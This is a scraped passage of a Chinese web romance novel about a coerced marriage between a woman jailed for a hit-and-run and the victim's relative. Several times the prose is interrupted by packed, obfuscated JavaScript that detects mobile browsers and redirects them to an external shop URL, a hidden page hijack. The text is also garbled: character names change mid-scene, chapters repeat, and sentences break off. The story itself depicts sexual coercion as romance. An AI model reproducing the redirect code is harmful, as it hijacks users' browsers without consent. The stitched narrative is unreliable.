l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295796|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 梗着脖子闭着眼,“来吧,我准备好了。” 男人看了一眼蹭过来的女人,眉眼一压,气温骤降,“做什么。” 乔眠脸已经红到脖子处,要知道她可是个雏儿啊,虽然和魏朝宗在一起多年,可从未越雷池一步,她现在做到这步已经连脸都不要了! 这男人还一脸冰冷加禁欲是要闹哪样?! 她深吸一口气,反正她是人人眼里的浪荡渣女,况且,她现在是宋太太。 “既然要弄假成真,我自然要履行妻子的义务!” 等待的过程很漫长,比赴刑场还煎熬,她能感觉到男人放肆的目光在她身上打量。 突然,听到一声不屑的冷嗤,“我对干豆芽没兴趣。” 男人先是迷茫的睁开眼,低头看了眼自己干瘪的身体,的确像一棵干瘪瘪的豆苗…… 随后,脸腾的全红了! 绝对是羞的! 还有什么比自己宽衣解带送上门结果被丑拒更尴尬的吗。 “你你你……” 老娘只是年纪小身材没有发挥的空间好吗,想当年她身姿曼妙倾国倾城迷倒多少男人! 男人目光微冷,“滚远点,床那么大挨那么近干嘛,想倒贴也看看自己有没有资本。” 乔眠火了,哪怕是**被一而再再而三嫌弃也刺激到了。 “我就躺这了咋的,那么嫌弃你滚啊,装作一副良家妇男的样子给谁看!” 良家妇男??!!! 噼里啪啦,空气中似乎有火星在迸射,乔眠心惊胆战赶紧滚到床尾。 慕之寒双眼缓缓眯起,“你最好搞清楚,这是我的房间。” 乔眠,“……” 好尴尬…… 人在屋檐下不得不低头,本姑娘也是有骨气的人,你不滚我滚!雄赳赳气昂昂跳下床往外走,却被男人冰冷地叫住,“站住,谁准你走了,离婚之前你必须和我住在一起。” “行,现在就去离婚。” “要是能现在离婚,你以为还能站在这?” 乔眠,“……” 男人就是矫情! 第219章 2. 那她是留点余地的好。 别把人得罪**,否则到时候死的就是她。 深吸一口气,忍了! 男人嫌弃的目光太明显,程幂觉得哪怕她脸皮再厚,也被他的眼神戳成筛子了! 靠!一头扎进被中说什么也不肯出来了。 丢人! 太丢人! 她不就是想看看他大腿有没有胎记好验证身份吗,至于这样羞辱人吗! 霍宴北你个杀千刀的! 由于第一次同床共枕太丢脸加伤自尊,周末两天她都躲着走,宁愿自己找个角落蹲着被风吹成**,也不想和某人呆同一屋檐下。 她觉得,她智商爆表武力值踢爆表阴谋诡计玩得出神入化且自带外挂!无论走到哪里都是王者,却很不幸地发现…… 不能打突然,听到称呼是换了,这语调比那声老公还要亲昵矫情几分,霍宴北严重怀疑她是故意的。 “乔眠,当一个花瓶太太,是你的本分,最好不要逾越我的底线。” 说完,他转身上床,把主灯关了,闭上眼睛,不再理会她。 见那人成功被他恶心走,乔眠总算松了一口气,四下一瞅,衣帽间的柜子里并没有多余的被褥,她须和他睡在一张床上。 于是,她找了一个抱枕,放在床中间,划分好三八线,才放心的躺到床上。 刚要卸下防备准备睡觉时,脑袋上砸过来一个抱枕,紧接着,头顶上传来男人清冷的声音:“你在担心我对你图谋不轨?” 女人转过身来,一张脸面对着他,却连眼睛都懒得睁,装作一副很困的样子,打了一个哈欠:“你生的太美了,我是担心自己对你把持不住,睡吧,晚安。” 说完,她翻了一个身,甩给他一个后背。 她可不想半夜被他搂的喘不过气来! 乔眠厚脸皮的一番话,堵的男人彻底没脾气了,嫌弃的将抱枕复位,这才躺下。 却不想,或者为她的冲动愚蠢,为他的顷刻反戈。 “堂堂总……”到嘴边的话儿,顿了一下,她骂道:“小人!无耻!” “我何时说过自己是君子了?”男人附身,夹着香烟的手指捏起女孩一方下巴,小而尖,食指来回摩挲,恨不能掐断揉碎,一股愤怒深压心底,忍不住要爆发出来:“听说,两年前你撞**一个人,又肇事逃逸?” 乔眠小小身体,抖如粟粒,颤颤巍巍撑起身体。 回忆中,血腥的一幕在眼前涌现。 雨夜,一个年轻女人,穿着一身红裙,撑着一把碎花小伞,过马路时,被车撞飞,鲜血洒满了挡风玻璃。 一瞬间,她忽然间明白了什么。 难怪他每一次看她的眼神都充满了厌恶和憎恨。 犹记他的白月光姓唐,听说几年前在宋厉霂的婚礼上逃走,下落不明,而那场交通事故中死去的女人也姓唐。 而她今天作为他白月光的替身,嫁给他的名字叫作唐馨微。 如遭雷击般,乔眠脑子嗡嗡作响,她看向男人:“所以,两年前,你认为是我撞**你的未婚妻,在我获得保释时,暗箱操作,把我送进了监狱?” 原来如此。 一切都说通了。 怪不得,她出狱后,为了医院求到他头上时,他一点儿都不意外。 甚至期待她的狼入虎口。 原来,她一切的算计都不过是一场笑话,他早已张好了网,等她入瓮,只为了把她困在身边,一点一点的折磨她。 可她那两年的牢狱之苦,又该向谁讨还? 她踮脚,手中的美工刀尖刺向男人坚硬的胸膛,一厘米的距离他两指慢吞吞地夹住了刀刃。 他的手指流血,吓得她牙齿打颤,身子摇摇欲坠。 他一掌握住她纤细的腰,将她抵在墙壁和他怀抱之间,那样的闲然之姿,浑身的危险如兽气息,铺盖下来,将她牢牢囚住。 他俯瞰着她如凋零的小花瓣般可怜模样,血色氤氲的眸底,是那样的残忍笑意,“牢饭吃上瘾了?**新夫?” 女人面无血色,双目赤红,看着刀刃戳破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295797|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白色的衬衫,刀尖划破他白皙的遒劲肌肉,她恨恨道,“不是我!撞死她的人不是我!我是被冤枉的!” 男人笑得风雅,只当听了一个笑话,呼吸凑近她圆润的耳畔,一字一句从唇缝中溢出:“这么不堪一击的狡辩,你认为我会信?你是不是还想说,开车的人不是你,是你的未婚夫,魏朝宗?帝京哪个男人舍得放过如此美丽又烈骨的你,嗯?” 透过女孩浓密泼墨般的长发,专注地凝视她的惨白无血的颊畔,他问:“确定要我死?” 望着男人脖颈处可怕的喉结,沉睡的兽一般,缓缓滑动,女人觉得脸上的皮肉,全部麻痹冰封住一样。 攥紧刀柄的五根手指,血色褪净,呈白泛青。 “霍宴北,我是欠了你,可我家也为此付出了代价!我的未婚夫弃我如敝履,我也遭受了两年牢狱之灾,你还要让我怎么做?” 眼泪冰凉冰凉,坠成一线,悲伤地看着他:“我们和谐一点,不好吗?” 他圈她入怀,刀刃还在他胸膛,鲜血还在缓缓地流淌,衬衫大片被鲜血浸透,他眼眸中的冷邪之气贯穿灵魂,咬着她细嫩耳垂,轻语低喃:“霍太太,别后悔。” 乔眠就像一只被蹂躏的小兔子,太小,太弱,膛大了一双泪眼,一颗心瞬间被灼成齑粉。 那是多久,她不知道,时间漫长的要她熬不住。 等他够了,厌烦了,方才放过她。 她彻彻底底的成了他名副其实的妻子。 和之前不同的是,她激烈的反抗他,他也全了她的尊严,可最后,她一身清白的回到未婚夫魏朝宗身边,却看到他和同父异是他和同父异母的妹妹颠鸾倒凤的疯狂时刻。那时候,她才知道,在她面前温润如玉、文质彬彬、学富五车的正人君子,在女人身上纵情欢快时,是那般浪荡轻俗。 每一帧画面都像是慢镜头,在她脑袋里回放。 即便现在再度想起来,那些赤、裸纠缠的画面依旧如附骨之蛆,在她心头一点点啃噬。 第220章 3 恶心! 可人往往最是肤浅,也最容易被美好的东西迷惑。 一如那年春风细雨,初见魏朝宗时,那个斯文干净的翩翩少年郎,已在她心头埋下一粒种子。他说,喜欢她、跟她求婚,她以为自己定是拯救了银河系,才遇上这世上最好的男儿。 以为,她对他的倾慕终于换来回报,他和她是一场双向奔扑的爱情。 她满心欢喜的跟他订婚,如愿以偿跟他奔赴婚姻的殿堂。 等来的却是一场有名无实的婚姻,还有一场牢狱之灾。 再后来,她身陷牢狱,看到电视里的新闻报道,才得知,这一带已被规划城改。 没过多久,她又在报纸上看到一则新闻,拆迁当日,有聚众**的钉子户和城建商打了起来。 伤亡数人。 她在官方公布的死亡名单上,看到了方瑜的名字。 当时,这事闹的很大,逢新总统上任,自然是新官上任三把火,总统下令对承建商重罚,无限期退出城改项目,勒令其对受害者家属作出相应赔偿。 后来,这一带被总统下令重新整改,建了一个大型风情民俗村。 不仅解决了拆迁户的就业民生问题,还利用旅游效应,带动了当地经济。 此举平息了事端,还顺应了**,一度获得国民好评。 犹记,那位总裁姓霍。 再后来,又一新政下发,但凡要案、重案,存有可疑之处,哪怕过了追诉期,也可以直接向最高级申请上诉。 对于乔眠而言,这无疑是黑暗中亮起的一抹曙光。 当时,她遭人构陷**,被判无期,丈夫背叛、亲情凉薄、她孤立无援,可以说比窦娥还冤、还惨! 新政令无疑是她唯一的救命稻草,她每天都会写一封上诉书,寄给一位已经出狱的狱友,代为转寄总宫。 那位狱友和她年龄相当,服刑期间,曾救过她的命,所以,是信得过的人。 好在,她的陈情书没有白写,在第一百封信件寄出去后,她的案子被重启调查。 只可惜,老天却给她开了一个玩笑。 一年后,那个人死于一场**,她的案件也就再没下文。 恰时同年,她死于狱中。 无喜无悲,看着掌心他留下的罪恶证据,看着他闲散不羁的整理西裤,慢条斯理的扣上皮带,看着他从衣冠禽兽恢复一派绅士。 她浑身抖的厉害,终于知道,这世上还有如此冷戾无情之人。 曾经,那个温润儒雅的老师大概真的只存在回忆中...... 霍宴北眼中茵着残余的欲、望,笑的轮廓随着冷刃刺穿皮肉传来的痛而凝刻。 刀刃又刺入几分,鄢嫦曦握住刀柄,好安静,手都没有抖一下。 “我**了......” 她松开刀柄,颤颤地后退,染血的细指根根发抖,瞪大了眼睛望着他胸口一把刀,血水满身而薄容瑾动也不动,仍旧笑笑地望她。 乔眠瘫倒在地,那些冷汗仿佛瞬间沁出,心跳,呼吸,感情,通通好像失去了,整个世界在虚无混沌中颠倒。 耳蜗里嗡嗡的声音被苏朗的嗓门冲破,“**疯了敢对先生捅刀子!” 总裁办公室瞬间被一众保镖围住,她身体虚脱如冰,安静如水,被保镖架出霍氏集团,抓上车。 车汇入主干道。 霍宴北沉靠座椅背,缓了缓,侧过来一张冷峻如刻的脸,苍白长指揭开衬衫衣领,凹进去的那一个血洞,触目惊心。 霍宴北轻笑愉悦的声音传来,“你要真有力气,我命也无,我薄容瑾的新妻是个**犯,再次入狱,你说可笑不可笑?” 这女人方才用了几成力捅下去的? 是真的想要他的命啊。 是疼的,疼的他竟一时受不住。 乔眠自然知道这一刀下去,彻底触怒霍宴北,也斩断了鄢氏的最后一线生机。 望着他阴鸷入骨的侧脸,他眉骨间的冷戾,沉默闭合的眼帘,鄢嫦曦凄然笑着:“霍宴北,你用尽卑劣手段,诱我入瓮,签下协议又无耻出尔反尔,我就算牢底坐穿也要你死!” “是吗?”霍宴北呼吸里带着喘,脸上血色一点点退去,笑的冰冷,邪佞,倾身过来,贪婪地朝她脸颊耳畔亲下来,一点一点,极尽温柔,压着嗓音浑不在意:“乔眠,你用尽语言激怒不了我,反是我能让你崩溃!” 车停半道,她被扔下车。 苏朗沉眉走下来,递过来一个打开的平板电脑。 电脑画面很清晰,乔眠沉重的呼吸浑噩发抖。 视频里,拍卖会场,买家争相对鄢家祖宅进行飚价。 乔眠发呆地盯着屏幕看,也盯着砸在电脑屏幕上盖住了画面的水滴。 绝望吞噬了一切。 她笑着哭,哭着笑。 世界在她湿透的眼睛里虚晃四转,最后,她终于不再煎熬,沉入一片黑暗。 迷蒙中,乔眠感觉身体被翻来覆去移动,可是,脑袋沉甸甸的像铅球,眼皮子像黏了胶水,睁不开,整个人像被架在火堆上炙烤,烈火焚身。 霍宴北沉然玉立床前,白衬衫半敞,胸膛缠着纱布,黑色西裤裹着一双笔直长腿,双眸清冷的望着蜷缩床上睡梦中仍然嘤泣不止的可怜女人。 直飞入鬓的鄢眉皱起,转眸,看向医生。 医生战战兢兢道:“霍先生,乔眠小姐身心遭受刺激,才会梦魇不断,至于发烧,打完这一针,需要等一会方能退烧,药也要及时吃。” 霍宴北不耐烦的摆手。 医生如获大赦,退离。 霍宴北走到落地窗前,站定,烦躁的点了一支雪茄,放到嘴边,吞云吐雾。 “嘭”地一声。 他转头,目光冷箭一样,落在空荡荡的大床。 抬步走过去,床下一角看到摔在地上苟延残喘的女人。 她身上只有一件男士白衬,伏在地上的姿势,衣襟松散,遮不住身体的衣摆下那双美腿雪白纤细,莹润如瓷。 身体攸地紧绷,霍宴北骤时冷了一张脸,方才给她换衣时,也是这该死的反应。 这女人天生一副天使童颜,青梅果似的身体还未熟透,却这般勾人,怕是裙下之臣不知凡几。 想及此,霍宴北眼底划过浓浓的厌恶。 乔眠有些意识不清,更是有些头昏脑涨,只觉口渴难耐,偏偏的,身体无力,伏在地上怎么蠕怎么动也爬不起来,艰难的抬起小脸,望着眼前模糊不清的一道身影,蠕动干燥的唇瓣,溢出一个字,“渴......” 霍宴北冷眸一沉,最见不得她这般勾人摄魂的柔怜模样,拎住那只小胳膊,粗鲁的将她扔到床上。 转身,倒了一杯水,递过去。 乔眠沉闷的脑袋磕到床头,清醒一些,接过男人递过来的一杯水。 小手酸软无力,水杯自掌心落下,恰到好处洒在她胸口,床单也湿了大片。 她没有穿里面的衣服,透过薄薄布料,那盈软诱人的妖娆曲线,淋漓尽致毕现。 霍宴北身体紧绷的愈加厉害,一张脸难看至极。 偏偏的,此刻,神志不清的女人懵懂无知的仰着一张桃红小脸,视线不甚清明,水润双瞳隔着一层水雾凝着他。 像一只小宠物,乞怜的向主人讨水喝。 霍宴北神色不虞,抓起一条毛毯扔到她身上,转身,又倒了一杯水递过去。 乔眠嗓子干焦似火,渴急了,直接攥住男人握杯子的手,送到嘴边,一口气喝完,缓了一会儿,陡然抬眸,方才看清楚男人那张冷漠极致的脸。 霍宴北...... 乔眠像拧紧了发条的机器人,身体机能瞬间停止运转。 还未反应过来,霍宴北又倒了一杯水,捻起几粒药丸,送到她嘴边,“吃了。” 仿佛抽离的灵魂骤然归体,乔眠脊背狠狠地一僵,浑身血肉混凝,簌簌颤动,转过脸。 乔家负债累累,乔家祖宅被拍卖,他诱她入瓮,囚她自由,这样苟且偷生,不如**痛快。 霍宴北锐利的双眸安静望她数秒,女孩白纸一张的心思,立时看透,轻声薄笑,“想死?” 乔眠闭上眼睛,睫毛挂着的一颗泪珠攸地滴落,不愿理他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303215|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 下巴一痛,被他修长的手指攥住,男人冷峻如铸的一张脸在她睁开的眼瞳里放大。 她皱眉,咬着牙齿,承受他恶意轻薄,就是不肯张嘴吃药。 她越是倔强,男人驯服猎物的欲/望开始濆涨,高大沉厚的身体倾轧下去,咬住她白皙的耳,炙热的呼吸喷洒在她勃勃脉动的脖颈,邪魅低语:“别忘了,你如今是霍夫人,你的人,你的命,归我掌控。” 顷刻之间,衬衫一点点被撕碎,她被拎到男人怀里。 乔眠惊恐万状,身体一瞬僵冻,清晰察觉男人强势到令人窒息的气场。 记忆像倒带的长河,一点一点回溯。 暴风骤雨的深夜,男人无休止的索取,花骨朵一样的少女哭声凄凉...... 残酷模糊的噩梦袭来。 乔眠脑袋混沌,颤抖着身子,一双小手无力却决然的推霍宴北,疯了似的哭着,抬手,朝他脸上挠出几道血痕。 “你放开我......放开我.......” 霍宴北被她突然疯癫啼哭的样子惊了一下。 修长的手指,拭掉下巴渗出的血迹,愤怒不已,扣住还在朝他身上厮打的一双小手,“女人,别惹我!我脾气可没那么好!” 乔眠颤着唇瓣,不断地挣扭,好像霍宴北对她施暴了一般。 忽然,她如一只凶狠的小狼崽,牙齿尖尖,发狠了咬住他肩膀。 唇齿间尝到血腥味也不放开。 霍宴北眉头皱的死紧,双目赤红如血,心底压抑的火焰猛地蹿至胸口,攥住她一条胳膊,猛地将她甩到床上。 他倾身覆上。 乔眠麓黑的瞳孔微微颤动,方才聚焦,一点一点锁住眼前这张曾经温润如玉的脸。 “求你......不要......” 男人忽然没了一点兴致。 两颗漆黑眼珠子定在女孩梨花带雨的一张脸上,脑袋有些疼。 乔眠眼底弥漫的惊恐被不断涌出的泪水湮没,成串滚落。 她累了,真的累了,像一片枯黄零落的秋叶,尘落泥土:“霍先生,我残破身躯,你若要,随意,只是......别污了您。” 崩溃的男人额角青筋跳动,听她这般说,心里的火焰仿佛要冲破肺腑,猛兽蹂躏小白兔的心思消弭大半,兴致索然。 “传言,乔家小姐惯会在男人面前装清纯,不知道有多少入幕之宾光顾过这副身体。” 一字一句,仿若凌迟。 乔眠双眼空洞,干涸的枯井一般,眼泪竭尽,睁着双目,死去一般无声无息。 霍宴北见不得她这般死寂衰竭的模样,翻身下床。 “砰!” 关门声震的乔眠头皮发麻。 不知多久,乔眠方才撑着虚弱的身体从床上爬起来。 素白纤柔的小手捏起床头柜上的药,塞进嘴里,直接咬碎咽进去。 苦涩漫过喉间,侵入味蕾,蔓延至身体各个脏腑,却远不及心里的苦。 她不能死。 活着尚可存有一线生机,至少要保住乔家祖宅,那是父母留下的唯一祖产。 乔眠能下床时,已是第二天。 第一时间去浴室泡了一个热水澡,出来时,只裹着一条雪白浴巾。 打开衣柜,里面挂着满满一排女人衣服,内衣,首饰,鞋袜,一应俱全。 皆是奢侈名牌,商标还未剪,应该是新买回来的。 乔眠苦涩一笑。 那笑,冷的沁骨,最后,换上一件白色长裙。 出了公寓,她打了一辆出租车,回了乔家。 一夜未归,姨母叶秋蓉定是急疯了。 ...... 总裁办公室。 霍宴北白衬黑裤,简洁不失矜贵,领带系的一丝不苟,亦如他清冷的眉目,不苟言笑的性子。 颀长身型沉靠真皮板椅,修长骨节分明的十指在键盘上轻快飞舞,不说话认真工作的样子,隽俊斯文,一颦一眸中透着几分与生俱来的儒雅之气。 尤其是,英挺俊逸的鼻梁上是一副无框眼镜,散发着一股书卷气息,温俊不失沉稳。 第221章 官宣在一起 总裁办公室。 霍宴北白衬黑裤,简洁不失矜贵,领带系的一丝不苟,亦如他清冷的眉目,不苟言笑的性子。 颀长身型沉靠真皮板椅,修长骨节分明的十指在键盘上轻快飞舞,不说话认真工作的样子,隽俊斯文,一颦一眸中透着几分与生俱来的儒雅之气。 尤其是,英挺俊逸的鼻梁上是一副无框眼镜,散发着一股书卷气息,温俊不失沉稳。 办公室沙发上坐着的男人,将指间的烟捻灭在茶几上的玻璃烟灰缸里,放开交叠的一双大长腿,一双漂亮的桃花眼微微上挑,鄢色氤氲的眸底流光溢彩,拥有这样一双妩媚电眼的男人,却偏生一张温润如玉的面孔,样貌翩翩。 “容瑾,鄢家如今是一个烂摊子,你收购这样的公司,劳力又伤财,不是明智之举。” 薄容瑾敲键盘的动作顿住,缓缓地抬眸,幽沉的目光凝住沉坐沙发上的男人,薄唇勾着一丝薄笑:“之卿,以后,你该称她一声嫂子。” 霍之卿怔忪几秒,耸了耸肩,笑道:“今天莫不是愚人节?还是你天生有自虐倾向?” 薄容瑾不疾不徐的点了一支雪茄,送到嘴边,淡然起身,走到落地窗前沉着站定,袅袅上浮的烟圈朦胧了冷峻的五官,眼中情绪晦暗莫测:“你知我不是开玩笑的性子。” “靠!”绕是性子温润的霍之卿也忍不住爆了粗口,骤然起身,走过去与薄容瑾并肩而站,拍了拍他的肩膀,“容瑾,我们这帮兄弟里,属你沉稳持重,怎会偏偏娶那个鄢家小姐?我听说她名声不好。” “你是指她蹲过监狱?” 第六章 “岂止这点,御城现在谁不知那鄢家小姐自出狱之后,凭着一张漂亮脸蛋,不知道爬过多少金主的床,这样的女人,还是别沾,免得惹一身腥。” 薄容瑾双眸死寂静默,幽沉的像一个冰窟窿,声线骤然冷了几分,“难道我弟弟活该遭此横祸?” “这和那场车祸有什么关系?” 薄容瑾唇线紧绷:“她就是当年的肇事者。” “确定吗?”霍之卿震惊之余,明眸猝然亮起,“可是,那场车祸不是意外吗?” “弟弟遭遇车祸,固然是意外,但是......”薄容瑾说到这里,拇指和食指微微用力,雪茄自指腹间熄灭,容色阴鸷如冰,一拳砸在一侧墙壁上,一缕鲜血顺着手背蜿蜒淌落,他安静阖眸,唇齿间溢出一句话,“我从英国回来,弟弟的主治医生告诉我,若是那夜及时送往医院,就不会……” 薄容瑾喉间哽痛,再也说不下去。 就是因为那个叫鄢嫦曦的女人,撞了弟弟之后,不仅不及时救援,还逃逸。 想及此,那些不愿回首的黑暗童年,青涩年少时光,一一砸进心头。 他虽长在薄家,却遭亲人排挤,倍受冷眼,苟延残活,弟弟是唯一一个愿意真心待他之人,也是第一个给予他温暖之人。 弟弟是薄家老太爷最疼爱的孙子,也是钦定的薄氏继承人,而他,是薄家宗亲最厌恶的存在。 直至弟弟出事,他成为薄家唯一的继承者,才被薄家老太爷重视。 他凭着睿智的头脑和商场上的杀伐果断,在英国打下属于自己的商业帝国,后来,荣耀归来,才坐上薄氏总裁这把交椅。 可谁又知,就在四年前,他还是薄家最不被看好的继承人。 “你是说......若不是延耽误了最佳抢救时机,是可以救回来的?” 霍之卿有些惊讶。 当年车祸事件风靡御城时,他身在美国,半年前才归国,所以,对那场车祸,他了解不多。 薄容瑾没再说话,只是安静无魂的站着,像一尊雕塑。 霍之卿转过身,靠在落地窗前,把玩着烟盒,开口,“可是,把她困在身边,不是折磨自己吗?” “是啊,这样狠心冷血的女人,放在我身边岂不是时时刻刻硌我的心?” “那你是何意?”霍之卿挑眉,“当然,你定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303216|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是因为喜欢她才至此,虽然,外界传闻那鄢家小姐是御城第一美人。” 薄容瑾脑海里不禁地闪过昨日办公室,强迫她用手为他泄、欲一幕,以及公寓里,她不着寸缕在他身下嘤泣柔怜的小模样,幽黑的眼眸攸地深了几分。 “之卿,我对她有反应……” 霍之卿一脸懵,“什么反应?” 薄容瑾沉然峻立,双手抄袋,睐他一眼,移开视线。 霍之卿浓密纤长的睫毛轻轻阖动,目不转睛的将薄容瑾从头到脚打量一遍,忽然,黑黢黢的眼睛攸地落在他皮带以下部位,黑眸一亮,“**,你对女人ying了?” 霍之卿生的一张温润面孔,平时言行举行斯斯文文的,有时不说话则已,一开金口,就是语不惊人死不休。 薄容瑾唇角抽了下,霍之卿激昂甚至带着兴奋的声音又传来:“啧啧,真是不简单,我还以为你这后半辈子都过不上xing生活……” 第七章 “滚!”薄容瑾咬了咬牙,长腿一伸,踹了过去。 霍之卿敏捷一躲,一张俊脸凑过去,笑道:“莫不是困扰你两年的隐疾痊愈了?” “不知道。” 薄容瑾转过身,摘下眼镜,放在办公桌案上,抬起修长骨节分明的两指,摁了摁紧皱的眉心。 四年以来,奢望往他身上扑的妖娆美女,数不胜数。 各型各色的都有,有容貌倾城的,风情万种的,小家碧玉的,清纯可爱的,但是,他那地方皆没有丝毫反应。 看过不少医生,也吃过药,最后,医生确诊是心理原因造成。 他本对床笫之事有高度洁癖,平日里禁、欲又高冷,患上这莫名其妙的病,倒也不在乎,只是,男人最原始的欲/望还是有的。 如今重见曙光,心里到底还是生出一丝希冀。 昨日,办公室里,和鄢嫦曦身体接触,沉寂两年的身体仿若新花吐蕊,突然有了反应,甚至对她产生了焦渴欲/望。